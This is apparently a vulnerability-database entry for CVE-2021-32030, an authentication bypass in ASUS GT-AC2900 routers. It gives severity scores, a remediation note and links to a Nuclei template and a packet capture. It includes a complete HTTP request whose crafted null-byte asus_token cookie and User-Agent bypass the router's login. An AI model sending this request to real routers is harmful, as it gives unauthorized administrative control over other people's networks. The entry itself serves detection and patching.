| Title | ASUS GT-AC2900 - Authentication Bypass |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to the router's settings, allowing an attacker to modify configurations, intercept network traffic, or launch further attacks. |
| Remediation | Apply the latest firmware update provided by ASUS to fix the authentication bypass vulnerability (CVE-2021-32030). |
| CVSS Score | 9.8 |
| EPSS Score | 0.94215 |
| CVE ID | CVE-2021-32030 |
| CWE ID | CWE-287 |
| Tags | cve2021 cve asus auth-bypass router kev vkev vuln |
ASUS GT-AC2900 devices before 3.0.0.4.386.42643 allows authentication bypass when processing remote input from an unauthenticated user, leading to unauthorized access to the administrator application. This relates to handle_request in router/httpd/httpd.c and auth_check in web_hook.o. An attacker-supplied value of ‘ ’ matches the device’s default value of ‘ ’ in some situations.
GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: www.victim.com
User-Agent: asusrouter--
Connection: close
Cookie: asus_token=\0Invalid; clickedItem_tab=0
Referer: http://www.victim.com
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-32030.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-32030.pcap
N/AN/A